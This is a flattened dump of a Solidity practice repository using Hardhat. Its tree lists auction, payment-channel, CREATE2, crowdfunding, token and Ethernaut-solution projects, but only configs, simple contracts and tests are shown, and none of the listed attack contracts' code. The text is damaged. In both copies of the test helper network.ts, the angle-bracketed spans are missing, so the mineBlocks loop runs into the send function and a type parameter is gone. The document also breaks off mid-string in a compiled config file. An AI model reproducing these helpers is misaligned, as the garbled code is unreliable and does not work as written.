├── auction ├── .env.example ├── .gitignore ├── contracts │ ├── Auction.sol │ └── AuctionCreator.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.js ├── test │ ├── auction_creator_test.ts │ └── auction_test.ts └── tsconfig.json ├── bidirectional_payment_channel ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── PaymentChannel.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── sample_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── create2_precompute ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── Create2.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── create2_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── crowdfunding ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── CrowdFunding.sol ├── dist │ ├── hardhat.config.js │ └── test │ │ └── crowdfunding_test.js ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.js ├── test │ └── crowdfunding_test.ts └── tsconfig.json ├── dutch_auction ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ ├── DutchAuction.sol │ └── TestNFT.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── dutch_auction_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── english_auction ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── EnglishAuction.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── sample_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── erc20token ├── .env.example ├── .gitignore ├── README.md ├── contracts │ └── ArmanToken.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.js ├── test │ └── token_test.ts └── tsconfig.json ├── ethernaut_challenges ├── .env.example ├── .eslintrc.json ├── .gitignore ├── .prettierrc ├── abis │ └── ethernaut.json ├── contracts │ ├── 03_CoinFlip.sol │ ├── 03_CoinFlipAttack.sol │ ├── 04_Telephone.sol │ ├── 04_TelephoneAttack.sol │ ├── 05_Token.sol │ ├── 06_Delegation.sol │ ├── 07_Force.sol │ ├── 07_ForceAttack.sol │ ├── 09_King.sol │ ├── 09_KingAttack.sol │ ├── 10_Reentrancy.sol │ ├── 10_ReentrancyAttack.sol │ ├── 11_Elevator.sol │ ├── 11_ElevatorAttack.sol │ ├── 12_Privacy.sol │ ├── 13_GatekeeperOne.sol │ ├── 13_GatekeeperOneAttack.sol │ ├── 14_GatekeeperTwo.sol │ ├── 14_GatekeeperTwoAttack.sol │ ├── 15_NaughtCoin.sol │ ├── 16_Preservation.sol │ ├── 16_PreservationAttack.sol │ ├── 17_Recovery.sol │ ├── 18_MagicNumber.sol │ ├── 18_MagicNumberSolver.sol │ ├── 19_AlienCodex.sol │ ├── 20_Denial.sol │ ├── 20_DenialAttack.sol │ ├── 21_Shop.sol │ ├── 21_ShopAttack.sol │ └── Calldata.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ ├── 03_coinflip.ts │ ├── 04_telephone.ts │ ├── 05_token.ts │ ├── 06_delegation.ts │ ├── 07_force.ts │ ├── 09_king.ts │ ├── 10_reentrancy.ts │ ├── 11_elevator.ts │ ├── 12_privacy.ts │ ├── 13_gatekeeper_one.ts │ ├── 14_gatekeeper_two.ts │ ├── 15_naught_coin.ts │ ├── 16_preservation.ts │ ├── 17_recovery.ts │ ├── 18_magic_number.ts │ ├── 19_alien_codex.ts │ ├── 20_denial.ts │ ├── 21_shop.ts │ ├── ethernaut.ts │ └── helpers.ts └── tsconfig.json ├── faucet ├── .env.example ├── .gitignore ├── README.md ├── contracts │ └── Faucet.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ ├── faucet_deploy.js │ ├── faucet_deposit.ts │ └── faucet_withdraw.ts ├── test │ └── faucet_test.ts └── tsconfig.json ├── ico ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ ├── ICO.sol │ └── Token.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── ico_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── iterable_mapping ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── IterableMapping.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── iterable_mapping_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── language ├── 01_data_types.sol ├── 02_global_variables_and_functions.sol ├── 03_functions.txt ├── 04_calling_other_contracts.sol ├── 05_call_and_delegatecall.txt └── 06_security_practices.txt ├── lottery ├── .env.example ├── .gitignore ├── contracts │ └── Lottery.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.js ├── test │ └── lottery_test.ts └── tsconfig.json ├── merkle_tree ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── MerkleProof.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── merkle_proof_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── misc ├── .env.example ├── .gitignore ├── contracts │ ├── Arrays.sol │ ├── Auction.sol │ ├── BooleanInteger.sol │ ├── BuiltInVars.sol │ ├── BytesAndStrings.sol │ ├── Deposit.sol │ ├── Property.sol │ └── Structs.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── scripts │ └── deploy.js ├── test │ ├── arrays_test.ts │ ├── auction_test.ts │ ├── boolean_integer_test.ts │ ├── built_in_vars_test.ts │ ├── bytes_string_test.ts │ ├── deposit_test.ts │ ├── property_test.ts │ └── structs_test.ts └── tsconfig.json ├── multisig_wallet ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── MultiSig.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── multisig_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── nft_gas_test ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── NFTest.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── nftest_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── staking_rewards ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── StakingRewards.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── sample_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json ├── unidirectional_payment_channel ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts │ └── PaymentChannel.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test │ ├── payment_channel_test.ts │ └── utils │ │ └── network.ts └── tsconfig.json └── upgradeability ├── .env.example ├── .gitignore ├── .prettierrc ├── contracts ├── BaseContract.sol ├── Implementation1.sol ├── Implementation2.sol └── StorageV1.sol ├── hardhat.config.ts ├── package-lock.json ├── package.json ├── test ├── sample_test.ts └── utils │ └── network.ts └── tsconfig.json /auction/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /auction/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /auction/contracts/AuctionCreator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | pragma solidity ^0.8.7; 4 | 5 | import "@openzeppelin/contracts/access/Ownable.sol"; 6 | import "./Auction.sol"; 7 | 8 | contract AuctionCreator is Ownable { 9 | Auction[] public auctions; 10 | 11 | function createAuction() public { 12 | Auction auction = new Auction(msg.sender); 13 | auctions.push(auction); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /auction/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | 4 | import dotenv from 'dotenv' 5 | dotenv.config() 6 | 7 | // This is a sample Hardhat task. To learn how to create your own go to 8 | // https://hardhat.org/guides/create-task.html 9 | task("accounts", "Prints the list of accounts", async (args, hre) => { 10 | const accounts = await hre.ethers.getSigners(); 11 | 12 | for (const account of accounts) { 13 | console.log(await account.address); 14 | } 15 | }); 16 | 17 | // You need to export an object to set up your config 18 | // Go to https://hardhat.org/config/ to learn more 19 | 20 | export default { 21 | solidity: "0.8.7", 22 | networks: { 23 | ropsten: { 24 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 25 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 26 | }, 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /auction/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "ts-node": "^10.2.1", 15 | "typescript": "^4.3.5" 16 | }, 17 | "dependencies": { 18 | "@openzeppelin/contracts": "^4.3.1", 19 | "openzeppelin-solidity": "^4.3.1", 20 | "solc": "^0.8.7" 21 | }, 22 | "scripts": { 23 | "test": "nodemon -e ts,sol --exec hh test" 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /auction/scripts/deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const factory = await ethers.getContractFactory("ArmanToken"); 11 | const contract = await factory.deploy(100000); 12 | 13 | console.log("Contract address:", contract.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /auction/test/auction_creator_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("AuctionCreator", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Deploy contact 12 | const factory = await ethers.getContractFactory("AuctionCreator"); 13 | contract = await factory.deploy(); 14 | await contract.deployed(); 15 | 16 | // Store signer 17 | signer = (await ethers.getSigners())[0] 18 | }); 19 | 20 | 21 | describe("createAuction", function () { 22 | it("creates an auction with owner as the caller", async () => { 23 | await contract.createAuction(); 24 | const auctionAddress = await contract.auctions(0); 25 | const auctionContract = (await ethers.getContractFactory("Auction")).attach(auctionAddress); 26 | const auctionOwner = await auctionContract.owner() 27 | expect(auctionOwner).to.eq(signer.address) 28 | }); 29 | }); 30 | }); -------------------------------------------------------------------------------- /auction/test/auction_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from '@nomiclabs/hardhat-ethers/signers'; 3 | import { BigNumber, Contract } from 'ethers'; 4 | import hre, {ethers} from 'hardhat' 5 | 6 | describe("Auction", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Store signer 12 | signer = (await ethers.getSigners())[0] 13 | 14 | // Deploy contact 15 | const factory = await ethers.getContractFactory("Auction"); 16 | contract = await factory.deploy(signer.address); 17 | await contract.deployed(); 18 | }); 19 | 20 | describe("owner", function () { 21 | it("is the contract deployer", async () => { 22 | expect(await contract.owner()).to.eq(signer.address) 23 | }); 24 | }); 25 | 26 | describe("placeBid", function () { 27 | it("cant be called by owner", async () => { 28 | expect(contract.placeBid()).to.revertedWith("not callable by owner") 29 | }); 30 | }); 31 | }); -------------------------------------------------------------------------------- /auction/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /bidirectional_payment_channel/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /bidirectional_payment_channel/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /bidirectional_payment_channel/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 4, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /bidirectional_payment_channel/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /bidirectional_payment_channel/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /bidirectional_payment_channel/test/sample_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | 6 | describe("MyContract", function () { 7 | let contract: Contract; 8 | let signer: SignerWithAddress; 9 | 10 | beforeEach(async () => { 11 | // Store signer 12 | signer = (await ethers.getSigners())[0]; 13 | 14 | // Deploy contact 15 | contract = await ( 16 | await ethers.getContractFactory("MyContract") 17 | ).deploy(); 18 | await contract.deployed(); 19 | }); 20 | 21 | describe("myFunction()", function () { 22 | it("does something", async () => { 23 | expect(1).to.equal(1); 24 | }); 25 | }); 26 | }); 27 | -------------------------------------------------------------------------------- /bidirectional_payment_channel/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /bidirectional_payment_channel/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /create2_precompute/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /create2_precompute/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist 8 | typechain -------------------------------------------------------------------------------- /create2_precompute/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 4, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /create2_precompute/contracts/Create2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | contract Create2Factory { 4 | event Deployed(address addr, uint256 salt); 5 | 6 | function getAddress(bytes memory bytecode, uint256 salt) public view returns (address) { 7 | bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), salt, keccak256(bytecode))); 8 | address addr = address(uint160(uint(hash))); 9 | return addr; 10 | } 11 | 12 | function deploy(bytes memory bytecode, uint salt) public payable returns (address) { 13 | address addr; 14 | assembly { 15 | addr := create2( 16 | callvalue(), // wei to send to the created contract 17 | add(bytecode, 0x20), // start memory position of the code (it starts after the first 32 bytes) 18 | mload(bytecode), // length in bytes of the code. the length is stored on the first 32 bytes 19 | salt 20 | ) 21 | 22 | if iszero(extcodesize(addr)) { 23 | revert(0,0) 24 | } 25 | } 26 | 27 | emit Deployed(addr, salt); 28 | return addr; 29 | } 30 | } 31 | 32 | contract TestContract { 33 | address public owner; 34 | 35 | constructor() { 36 | owner = msg.sender; 37 | } 38 | 39 | function getBalance() public view returns(uint){ 40 | return address(this).balance; 41 | } 42 | } -------------------------------------------------------------------------------- /create2_precompute/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { config as dotenvConfig } from "dotenv"; 2 | import "@typechain/hardhat"; 3 | import "@nomiclabs/hardhat-ethers"; 4 | import "@nomiclabs/hardhat-waffle"; 5 | import "@nomiclabs/hardhat-etherscan"; 6 | import "solidity-coverage"; 7 | import "hardhat-gas-reporter"; 8 | import { HardhatUserConfig } from "hardhat/types/config"; 9 | 10 | dotenvConfig(); 11 | 12 | const gasPrice = parseInt(process.env.GAS_PRICE || "1000000000"); 13 | 14 | const config: HardhatUserConfig = { 15 | solidity: { 16 | compilers: [ 17 | { 18 | version: "0.8.10", 19 | settings: { 20 | optimizer: { 21 | enabled: true, 22 | runs: 200, 23 | }, 24 | }, 25 | }, 26 | ], 27 | }, 28 | networks: { 29 | hardhat: { 30 | initialBaseFeePerGas: 0, 31 | }, 32 | rinkeby: { 33 | url: process.env.RINKEBY_URL || "", 34 | accounts: 35 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 36 | gasPrice, 37 | }, 38 | mainnet: { 39 | url: process.env.MAINNET_URL || "", 40 | accounts: 41 | process.env.PRIVATE_KEY !== undefined ? [process.env.PRIVATE_KEY] : [], 42 | gasPrice, 43 | }, 44 | }, 45 | gasReporter: { 46 | enabled: process.env.REPORT_GAS !== undefined, 47 | currency: "USD", 48 | gasPrice: 120, 49 | coinmarketcap: process.env.COINMARKETCAP_API_KEY, 50 | }, 51 | etherscan: { 52 | apiKey: process.env.ETHERSCAN_API_KEY, 53 | }, 54 | }; 55 | 56 | export default config; 57 | -------------------------------------------------------------------------------- /create2_precompute/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "dependencies": { 4 | "@openzeppelin/contracts": "^4.3.2" 5 | }, 6 | "devDependencies": { 7 | "@nomiclabs/hardhat-ethers": "^2.0.0", 8 | "@nomiclabs/hardhat-etherscan": "^2.1.3", 9 | "@nomiclabs/hardhat-waffle": "^2.0.0", 10 | "@typechain/ethers-v5": "^7.1.2", 11 | "@typechain/hardhat": "^2.3.0", 12 | "@types/chai": "^4.2.22", 13 | "@types/mocha": "^9.0.0", 14 | "@types/node": "^16.10.2", 15 | "@typescript-eslint/eslint-plugin": "^4.33.0", 16 | "@typescript-eslint/parser": "^4.33.0", 17 | "chai": "^4.2.0", 18 | "dotenv": "^10.0.0", 19 | "eslint": "^7.29.0", 20 | "eslint-config-prettier": "^8.3.0", 21 | "eslint-config-standard": "^16.0.3", 22 | "eslint-plugin-import": "^2.23.4", 23 | "eslint-plugin-node": "^11.1.0", 24 | "eslint-plugin-prettier": "^3.4.0", 25 | "eslint-plugin-promise": "^5.1.0", 26 | "ethereum-waffle": "^3.0.0", 27 | "ethers": "^5.0.0", 28 | "hardhat": "^2.6.4", 29 | "hardhat-gas-reporter": "^1.0.4", 30 | "keccak256": "^1.0.3", 31 | "merkletreejs": "^0.2.24", 32 | "prettier": "^2.3.2", 33 | "prettier-plugin-solidity": "^1.0.0-beta.13", 34 | "solhint": "^3.3.6", 35 | "solhint-plugin-prettier": "^0.0.5", 36 | "solidity-coverage": "^0.7.16", 37 | "ts-node": "^10.2.1", 38 | "typechain": "^5.1.2", 39 | "typescript": "^4.4.3" 40 | }, 41 | "scripts": { 42 | "test": "nodemon -e ts,sol --exec hh test" 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /create2_precompute/test/create2_test.ts: -------------------------------------------------------------------------------- 1 | const { expect } = require("chai"); 2 | import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; 3 | import { Contract } from "ethers"; 4 | import { ethers } from "hardhat"; 5 | import { 6 | Create2Factory, 7 | TestContract, 8 | TestContractSpy, 9 | TestContract__factory, 10 | } from "../typechain"; 11 | import { DeployedEvent } from "../typechain/Create2Factory"; 12 | 13 | describe("Create2Factory", function () { 14 | let factoryContract: Create2Factory; 15 | let signer: SignerWithAddress; 16 | 17 | beforeEach(async () => { 18 | // Store signer 19 | signer = (await ethers.getSigners())[0]; 20 | 21 | // Deploy contact 22 | factoryContract = await ( 23 | await ethers.getContractFactory("Create2Factory") 24 | ).deploy(); 25 | await factoryContract.deployed(); 26 | }); 27 | 28 | describe("deploy()", function () { 29 | it("deploys a contract", async () => { 30 | const precalculatedAddress = await factoryContract.getAddress( 31 | TestContract__factory.bytecode, 32 | 123 33 | ); 34 | const deployTx = await factoryContract.deploy( 35 | TestContract__factory.bytecode, 36 | 123 37 | ); 38 | const receipt = await deployTx.wait(); 39 | const deployEvent = receipt.events![0] as DeployedEvent; 40 | 41 | expect(deployEvent.args?.addr == precalculatedAddress); 42 | 43 | const testContract = TestContract__factory.connect( 44 | precalculatedAddress, 45 | signer 46 | ); 47 | 48 | expect(await testContract.owner()).to.eq(factoryContract.address); 49 | }); 50 | }); 51 | }); 52 | -------------------------------------------------------------------------------- /create2_precompute/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => ethers.provider.getBlockNumber(); 37 | 38 | export const advanceBlockTo = async (target: number) => { 39 | const currentBlock = await latestBlock(); 40 | 41 | const start = Date.now(); 42 | let notified; 43 | if (target < currentBlock) throw Error(`Target block #(${target}) is lower than current block #(${currentBlock})`); 44 | // eslint-disable-next-line no-await-in-loop 45 | while ((await latestBlock()) < target) { 46 | if (!notified && Date.now() - start >= 5000) { 47 | notified = true; 48 | console.log("advanceBlockTo: Advancing too many blocks is causing this test to be slow.'"); 49 | } 50 | // eslint-disable-next-line no-await-in-loop 51 | await advanceTime(0); 52 | } 53 | }; 54 | -------------------------------------------------------------------------------- /create2_precompute/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "noImplicitAny": true, 7 | "esModuleInterop": true, 8 | "resolveJsonModule": true, 9 | "useUnknownInCatchVariables": false, 10 | "outDir": "dist" 11 | }, 12 | "include": ["./scripts", "./test", "./typechain", "./helpers"], 13 | "files": ["./hardhat.config.ts"] 14 | } 15 | -------------------------------------------------------------------------------- /crowdfunding/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /crowdfunding/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /crowdfunding/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /crowdfunding/dist/hardhat.config.js: -------------------------------------------------------------------------------- 1 | "use strict"; 2 | var __importDefault = (this && this.__importDefault) || function (mod) { 3 | return (mod && mod.__esModule) ? mod : { "default": mod }; 4 | }; 5 | Object.defineProperty(exports, "__esModule", { value: true }); 6 | const config_1 = require("hardhat/config"); 7 | require("@nomiclabs/hardhat-waffle"); 8 | require("hardhat-gas-reporter"); 9 | require("hardhat-tracer"); 10 | require("@atixlabs/hardhat-time-n-mine"); 11 | // import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; 12 | const dotenv_1 = __importDefault(require("dotenv")); 13 | dotenv_1.default.config(); 14 | // This is a sample Hardhat task. To learn how to create your own go to 15 | // https://hardhat.org/guides/create-task.html 16 | (0, config_1.task)("accounts", "Prints the list of 